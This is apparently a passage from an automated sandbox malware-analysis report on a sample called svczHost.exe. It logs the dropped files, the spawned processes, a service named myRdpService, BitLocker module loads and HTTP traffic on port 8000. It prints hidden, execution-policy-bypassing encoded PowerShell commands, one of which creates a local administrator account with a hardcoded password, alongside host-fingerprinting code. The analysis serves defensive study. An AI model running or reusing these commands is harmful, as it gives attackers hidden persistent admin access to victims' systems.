CAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline"			Jump to behavior

Source: svczHost.exe.12.dr	Static PE information: section name: .managed
Source: svczHost.exe.12.dr	Static PE information: section name: hydrated
Source: myRdpService.exe.20.dr	Static PE information: section name: .managed
Source: myRdpService.exe.20.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFB4EE100BD pushad ; iretd	2_2_00007FFB4EE100C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE4B730 pushfd ; ret	3_2_00007FFB4EE4B781
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE5750B push ebx; iretd	3_2_00007FFB4EE5754A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE47C1E push eax; retf	3_2_00007FFB4EE47C2D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE4841E push eax; ret	3_2_00007FFB4EE4842D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE47BEE pushad ; retf	3_2_00007FFB4EE47C1D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE483EE pushad ; ret	3_2_00007FFB4EE4841D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE573DB push ebx; iretd	3_2_00007FFB4EE5754A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4EE57949 push ebx; retf	3_2_00007FFB4EE5794A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFB4ED0D2A5 pushad ; iretd	7_2_00007FFB4ED0D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFB4EE21FD2 push eax; iretd	7_2_00007FFB4EE22009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFB4EE200BD pushad ; iretd	7_2_00007FFB4EE200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4ECED2A5 pushad ; iretd	12_2_00007FFB4ECED2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4EE07549 push ebx; iretd	12_2_00007FFB4EE0754A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4EE08143 push ebx; ret	12_2_00007FFB4EE0814A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFB4EE000BD pushad ; iretd	12_2_00007FFB4EE000C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFB4EE2196D push E95F4E2Dh; ret	24_2_00007FFB4EE21A19
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_00007FFB4EE200BD pushad ; iretd	24_2_00007FFB4EE200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFB4EE27930 push ebx; retf	28_2_00007FFB4EE2794A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFB4EE27918 push ebx; retf	28_2_00007FFB4EE2794A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFB4EE200BD pushad ; iretd	28_2_00007FFB4EE200C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 28_2_00007FFB4EE218B1 push E95F4E2Dh; ret	28_2_00007FFB4EE21A19
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 53_2_00007FFB4EE42310 pushad ; iretd	53_2_00007FFB4EE4232D

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe	Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe			Jump to dropped file

Source: C:\Windows\Temp\myRdpService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49767

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
